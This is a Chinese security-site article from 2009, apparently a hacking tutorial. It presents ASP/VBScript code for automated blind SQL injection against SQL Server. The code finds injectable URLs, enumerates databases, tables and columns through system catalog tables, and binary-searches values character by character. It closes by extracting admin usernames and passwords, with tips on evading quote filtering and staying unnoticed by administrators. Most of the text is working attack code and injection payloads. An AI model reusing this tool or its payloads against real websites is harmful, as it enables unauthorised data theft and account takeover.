首页 网络安全 安全学院 查看内容

自动探测SQL Server数据信息

2009-2-4 17:09 687 0

摘要: 看了SQL注入脚本后,笔者深受启发,不过美中不足的是文章中还有一些问题需要解决:1.字典支持问题:如果字典信息不够全面,或者说字典中没有我们数据库中所具有的信息,如数据库表名,字段名,那我们的注入行动...
关键词: 数据表 iUrl 字段 函数 数据库 探测 汉字 Function 名称 Replace

看了SQL注入脚本后,笔者深受启发,不过美中不足的是文章中还有一些问题需要解决:1.字典支持问题:如果字典信息不够全面,或者说字典中没有我们数据库中所具有的信息,如数据库表名,字段名,那我们的注入行动只是浪费时间而已。2.缺乏对汉字的支持:现在很多朋友都在使用汉字作为平时的密码和帐户,汉字的出现频率是非常高的。3.Access版本,不支持SQL Server。下面进入正题。本文的目的就是要实现SQL Server中所有的数据库名、表名、字段名以及表中的数据信息的自动探测,并重点阐述以下几个问题:1. 如何快速判断SQL Server中的数据库的数量;2. 如何快速判断特定数据库中数据表的数量;3. 如何快速找出特定数据库中所有的数据表名称;4. 如何快速找出特定数据表所有中的字段的数量及名称;在以上的问题解决后,对数据表中所有数据信息的探测的问题就迎刃而解了,即使你想在本地重构远程SQL server数据库中信息,只要你有足够多的时间,答案也是OK的。 漏洞检测原理我不多说了,我只是给出我的实现函数。顺便补充一点,本文是在ASP环境下,所有代码都通过ASP实现。我们先看一段主体代码,用来实现探测信息并确定是不是存在漏洞:Function Find_Hole(iUrl)dim turl,Body1,Body2,Body3,body4,Status1,Status2,Status3,status4call xmlPost(iUrl,Status1, Body1) turl=iUrl&"'"call xmlPost(iUrl,Status2, Body2) turl=iUrl&" and 1=1"call xmlPost(tUrl,Status3, Body3) turl=iUrl&" and 1<>1"call xmlPost(tUrl,Status4, Body4) if Status1<>500 and Status3<>500 and Status4=500 and Body1<>Body4 and Body3<>Body4 thenFind_Hole=trueelseFind_Hole=Falseend ifEnd Function Find_Hole(iUrl)函数用于判断测试地址是否存在注入漏洞,通过ByRef引用方式返回远程主机反馈的信息。其中body是远程主机的反馈信息,status是页面返回状态,你可以在程序中引用它们,并设计出自己的判断函数。Find_Hole(iUrl) 函数中引用的两个函数如下:Sub xmlPost(iUrl,ByRef Status, ByRef Body)Dim xPostOn Error Resume NextSet xPost = CreateObject("Microsoft.XMLHTTP")xPost.open "POST",iUrl,falsexPost.SendStatus = xPost.StatusBody = bytes2BSTR(xPost.responseBody)Set xPost = NothingEnd Sub Function bytes2BSTR(vIn)‘这个函数可以实现中文的正常显示dim strReturn,i, ThisCharCode, NextCharCodestrReturn = ""For i = 1 To LenB(vIn)ThisCharCode = AscB(MidB(vIn,i,1))If ThisCharCode < &H80 ThenstrReturn = strReturn & Chr(ThisCharCode)ElseNextCharCode = AscB(MidB(vIn,i+1,1))strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))i = i + 1End IfNextbytes2BSTR = strReturnEnd Function 判断数据库数量这里我们需要利用数据表“master.dbo.sysdatabases”,实现函数如下:Function Get_DB_Num()dim DBMinNum,DBMaxNumDBMinNum=5 'SQL Server中数据库最小数目,由于前几个为系统数据库,所以这儿设置为5。DBMaxNum=50 'SQL Server中数据库最大数目。可自己更改。CheckDBNum="and (select count(*) from master.dbo.sysdatabases)>[N]"Get_DB_Num=Get_Len(iUrl&CheckDBNum,DBMinNum,DBMaxNum)end function下面重点介绍长度判断函数Get_len():Function Get_Len(iUrl,minlen,maxlen)'使用前提条件:存在注入漏洞if ReturnOk(Replace(iUrl,"[N]",maxlen)) then Get_Len=-1 '实际长度大于最大预设长度返回 -1。exit functionend ifif not ReturnOk(Replace(iUrl,"[N]",minlen-1)) then Get_Len=-2 '实际长度小于最小预设长度返回-2。exit functionend ifif maxlen-minlen=1 then if ReturnOk(Replace(iUrl,"[N]",(maxlen+minlen)/2)) then  Get_Len=maxlenelseGet_Len=minlenend ifexit functionend ifmidlen=int((minlen+maxlen)/2)if ReturnOk(Replace(iUrl,"[N]",Midlen)) then Get_len=Get_Len(iUrl,midlen,maxlen)  elseGet_len=Get_Len(iUrl,minlen,midlen)end ifEnd Function此函数使用折半算法,迅速缩小判断范围。在本文中使用非常广泛,只要构造出适当的查询条件,就会有意想不到的收获,如判断汉字的Unicode编码,在0-65535之间,只需要16次判断,就肯定能得到特定汉字的unicode码!程序中的ReturnOk函数用来判断远程主机的返回状态,页面返回正常为真。其代码如下:Function ReturnOK(iUrl)dim iPostOn Error Resume NextSet iPost = CreateObject("Microsoft.XMLHTTP")iPost.open "POST",iUrl,falseiPost.Sendif iPost.Status<>500 thenReturnOk=TrueelseReturnOk=Falseend ifSet iPost = NothingEnd Function其实ReturnOK函数就是上面的xmlPost过程的简化。你可以根据实际情况,编写自己的返回判断函数。 判断数据库名称在“master.dbo.sysdatabases”表中dbid、name两个字段记录中SQL Server中的所有数据库名称信息。其中dbid的范围是1~数据库总数,name字段则记录了数据库名称信息。其实现函数如下:Function Get_DBName(iUrl,dbid)Dim MinLen ,MaxLenMinLen=1 '数据库名称最小长度。MaxLen=50 '数据库名称最大长度。Get_DBName=GetFieldValue(iurl,"master.dbo.sysdatabases","name","dbid",dbid,MinLen ,MaxLen)End Function这儿利用了GetFieldValue函数,它可以得到给定数据表中特定ID值时某个字段的信息。注意:SQL中的字符处理函数与Access不同。请看下表:Access SQL Server 说明asc(字符) unicode(字符) 返回某字符的编码chr(数字) nchar(数字) 与asc相反,根据数字编码返回字符mid(字符串,N,L)substring(字符串,N,L)返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串Get_Field_Name函数是信息获取的具体实现步骤的模拟,函数中用到了Get_Len(iUrl,0,65535)函数,由于SQL 中汉字用Unicode编码,其范围是[0-65535]。程序中用到汉字的猜解,见我的另外一篇文章《SQL自动注入中的汉字问题》一文,下面是详细的代码:Function GetFieldValue(iUrl,TableName,FieldName,PrimaryKey,PKValue,minlen,maxlen)'TableName是所要猜的表名。 'FieldName是所要猜的字段名。'PrimaryKey主键名称。'PKValue主键值。dim checkLen,flen,checkfieldvalue CheckLen=" and 1=(select count(*) from [TABLE] Where [IDN]=[ID] and Len([FN])>[N])"CheckLen=Replace(CheckLen,"[TABLE]",TableName)CheckLen=Replace(CheckLen,"[FN]",FieldName)CheckLen=Replace(CheckLen,"[IDN]",PrimaryKey)CheckLen=Replace(CheckLen,"[ID]",PKValue) FLen=Get_Len(iUrl&CheckLen,minlen,maxlen) CheckFieldValue=" and 1=(select count(*) from [TABLE] where [IDN]=[ID] and unicode(substring([FN],[POS],1))> [N])"CheckFieldValue=Replace(CheckFieldValue,"[TABLE]",TableName)CheckFieldValue=Replace(CheckFieldValue,"[FN]",FieldName)CheckFieldValue=Replace(CheckFieldValue,"[IDN]",PrimaryKey)CheckFieldValue=Replace(CheckFieldValue,"[ID]",PKValue)GetFieldValue=Get_Field_Name(iUrl&CheckFieldValue,Flen)end Function Function Get_Field_Name(iUrl,Flen)dim conn , i,rs,ch,SQL,resultresult=""set conn=GetConnection(server.MapPath("UnicodeMap.mdb"),"")For i= 1 To Flench= Get_Len(Replace(iUrl,"[POS]",i),0,65535)SQL="select chr from GB18030 where DU="&chset rs=get_rs(conn,SQL,1)if rs.recordcount=1 thenresult=result&rs(0)elseresult=result&"&#"&chend ifrs.closeset rs=nothingNextconn.closeset conn=nothingGet_Field_Name=resultend Function 猜解特定数据库中数据表这里利用库名“.dbo. dbo.sysobjects”,库名“.dbo. dbo.sysobjects”的数据表中有xtype、id、name 三个字段。通过指定查询条件xtype=’U’,可以得到用户数据表的数量。而要实现数据表名的猜解,我们可以利用id、name这两个字段,其中name字段中记录着我们最关心的数据表名。想要定位到数据表“库名.dbo. dbo.sysobjects”中的具体某个记录,我们只好通过id字段来实现。但是,由于id字段中的数值一般都比较大,动不动就上亿,如果通过列举每一个id值来判断,如果时间允许的话,肯定是可以实现的,只不过我没有这份耐心:试想,光判断一个id值就需要上亿次判断,需要一个小时?一天?一周?如果得到所有的信息,天知道要多久?反正我最新买的PⅣ2.8电脑,通过ADSL上网的方式是承受不了这样的时间的。所以现在我们首要的任务如何设计出有效的算法,快速定位id值。下面是我写的实现函数,个人觉得还不错,大家一起来看看:先假设我们要查询的ID在初始窗口中,如果不满足条件,数据窗口下限值修改为原窗口的上限值,窗口宽度增加一倍,即上限值增加原窗口宽度的两倍,然后在新窗口中查询;如果满足条件,数据窗口下限值不变,上限值减少原窗口宽度的一半,然后在新窗口中继续判断;如果判断条件设置正确,浮动窗口的宽度一定后收敛到1。然后两个ID中判断。选择其中一个ID判断,如果满足条件则找到这个ID值只是我们所要查询的结果,如果不满足,则为另外一个。Function Get_Table_ID(iUrl,FID,EID,op1,op2) 'op1是当前状态。'op2是上次操作状态。'op1,op2,结果=1发现在[FID,EID]内存在,=0则不存在。 dim tUrl,diff,HD,DDdiff=EID-FIDif diff=1 thentUrl=replace(iUrl,"[FID]",FID)tUrl=replace(tUrl,"[EID]",EID)if ReturnOK(tUrl) then EID=FID  end if  Get_Table_ID=EIDexit Functionend if HD=int(diff/2)DD=diff*2 If op1=0 and op2=1 thenEID=EID-diff*3/4DD=DD/8end if tUrl=replace(iUrl,"[FID]",FID)tUrl=replace(tUrl,"[EID]",EID)if ReturnOK(tUrl) thenGet_Table_ID=Get_Table_ID(iUrl,FID,FID+HD,1,op1)elseGet_Table_ID=Get_Table_ID(iUrl,EID,EID+DD,0,op1)end ifEnd Function参数赋值:FID=0 ‘检查ID范围窗口的下限初始值。EID=FID+1048576 ‘检查ID范围窗口的上限初始值,1048576是初始检查窗口的宽度。CheckTableID=" and (select count(*) from "&DBName&".dbo.sysobjects where xtype='U' and id>=[FID] and id<[EID] )>=1" ‘查询条件。函数调用:TableId=Get_Table_ID(iUr&CheckTableID,FID,EID,0,0)下次调用,窗口的下限初始值设置为FID= Tableid+1通过以上算法,我们就可以快速查到ID,对于数量级为亿的ID,一般通过30多次的判断,最多不超过40次,我们就可以得到满足条件的值了。相对于一个一个的枚举,现在你是不是用节省的时候去美美的睡一觉了呢?得到了ID值,数据表名的获取就是一件轻松的事情了:CheckTableNum=" and (select count(*) from "&DBName&".dbo.sysobjects where xtype='U' )>[N]"TableNum=Get_Len(iUrl&CheckTableNum, TableMinNum,TableMaxNum)TableName=GetFieldValue(iUrl,DBName&".dbo.sysobjects","name","id",Tableid,1,100) 猜解数据表所有字段这里需要利用数据表“库名.dbo. dbo.columns”,“库名.dbo. dbo.columns”中三个关键字段分别是name、id和colid,其中“id”是数据表的ID值,刚才我们已经得到;“Colid”是字段的ID值,从1到最大字段数量;“Name”就是我们的目标了。有了探测数据库名称、数据表名称的经验,下面所有的事情都变得非常简单。先来看字段数量的获取:CheckColumnNum=" and (select count(*) from "&DBName&".dbo.syscolumns where id="&TableId&" )>[N]"ColumnNum=Get_Len(iUrl&CheckColumnNum, 0,1000)在这儿,我们不能再通过GetFieldValue函数去探测字段名称,这是因为查询条件发生了变化。在探测数据库名称、数据表名称的时候都是一个限定条件就可以查出唯一结果,但现在的情况是要通过id、colid两个限定条件才能唯一确定字段的名称。其实字段名称探测的实现函数的原理跟探测数据库名称、数据表名称的时候一样,在此就不列举了。 获取数据库中敏感信息经过以上的探测,数据库整个框架结构已经摆在你的面前了,下面我们要做的就是收集我们所感兴趣的信息。对什么信息感兴趣?别问我,那可是你的事情。如果你对所有的数据都有好奇心,恭喜你,你是可以做到的,不过前提条件是你有足够多的时间,而且系统管理员在这段时间里没有察觉你的探测行为。你所花费的时间就是一次探测所花费的时间*16(单个字符包括汉字探测的次数)*你所获取的信息的字符个数。慢慢等着吧!不过我没有这个闲情逸致。[Admin]表中id、username、password是我的兴趣所在,猜咯:CheckDataNum=" and (select count(*) from "&DBName&".dbo.Admin )>[N]"UserNum=Get_Len(iUrl&CheckDataNum, 0,100) UserName=GetFieldValue(iUrl,DBName&".dbo.Admin","username","id",userid,1,100)Password=GetFieldValue(iUrl,DBName&".dbo.Admin","password","id",userid,1,100)至于userid的获取,可以通过上面所介绍的数据表ID的获取办法来实现。CheckUserID=" and (select count(*) from "&DBName&".dbo.Admin where id>=[FID] and id<[EID] )>=1" ‘查询条件Userid=Get_Table_ID(iUr&CheckUserID,FID,EID,0,0)至此,我的任务已经完成,剩下的事情,大家去发挥吧。 小结1. 对某个数据库数据信息的探测,有一个重要的前提:当前数据连接用户必须拥有对该数据库访问的权限。如果没有,就不用浪费时间了。2. 如果程序过滤了单引号,将查询条件中的xtype=’U’修改为xtype= char(85)后可以继续工作。3. 如果探测的数据量很大,可能花费的时间就很长。为避免脚本执行超时,请在程序开始部分将Server.ScriptTimeOut的值设置大一点。为了下次能接着以前的结果注入下去,可以在程序中写个日志处理函数,将探测结果记录下来,保存在文件或数据库中,避免不必要的重复工作。在我的程序源码中充分体现了这一点
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部